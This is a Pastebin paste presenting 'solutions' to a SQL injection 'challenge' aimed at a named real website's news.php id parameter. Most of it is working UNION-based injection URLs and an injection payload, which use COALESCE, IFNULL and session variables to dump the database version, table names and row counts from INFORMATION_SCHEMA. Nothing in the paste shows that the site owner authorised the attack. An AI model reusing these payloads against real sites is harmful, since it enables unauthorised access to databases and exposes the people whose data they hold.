Advertisement
bilasi

Totals Recors Count

Jun 23rd, 2016
495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MySQL 2.18 KB | None | 0 0
  1. Solution of my Challenge
  2.  
  3. The Challenge Was
  4. Time Pass SQL
  5. ======================
  6. Site:http://patshortt.com/news.php?id%3D
  7. ======================
  8. Print name,version,table name,total record in tables
  9. Sort tables Ascending order as per record
  10. e.g Lowest Data table should be on the top and highest record table should be in the last
  11. =====================
  12. Do not change parameter or add anything in the end of parameter
  13. post pic and pm me your query
  14. =====================
  15.  
  16. there are many ways to solve this challenge
  17.  
  18. 1. First Solution is with "COALESCE" Function
  19. =============================================
  20. http://patshortt.com/news.php?id=%27%20+UNION+ALL+SELECT+1,concat%280x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e436865657461682048657265203a3a20,@@version,0x3c62723e,0x3c62723e,%28SELECT+GROUP_CONCAT%28table_name,0x203a3a20,COALESCE%28table_rows,0%29+order+by+COALESCE%28table_rows,0%29+ASC+SEPARATOR+0x3c62723e%29+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE%28%29%29%29,3,4,5,6,7,8,9,10,11,12,13,14--%20-
  21. 2. Second Solution is with "IFNULL" function
  22. ==============================================
  23. http://patshortt.com/news.php?id=' +UNION+ALL+SELECT+1,concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e436865657461682048657265203a3a20,@@version,0x3c62723e,0x3c62723e,(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())),3,4,5,6,7,8,9,10,11,12,13,14-- -
  24.  
  25. 3. Third Solution is to declare variables for 'Table','table_rows','for ordering' so this this method here is query ;)
  26. PS> This query belongs to Mukarram Khalid(Mak Man)
  27. ===================================================
  28. concat(@x:=0x0,@oldtable:=0x0,@num:=0,benchmark((select count(*) from information_schema.tables where table_schema=database()),@x:=concat(@x,0x3c6c693e,(select concat(@num:=@num%2b1,0x2920,tbl,0x203a3a20,rows, if(@oldtable:=concat(@oldtable,0x2C,tbl),0x0,0x0)) from (select table_name as tbl,table_rows as rows from information_schema.tables where table_schema=database() order by table_rows DESC)makman where FIND_IN_SET(tbl, @oldtable)=0 limit 1))),@x)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement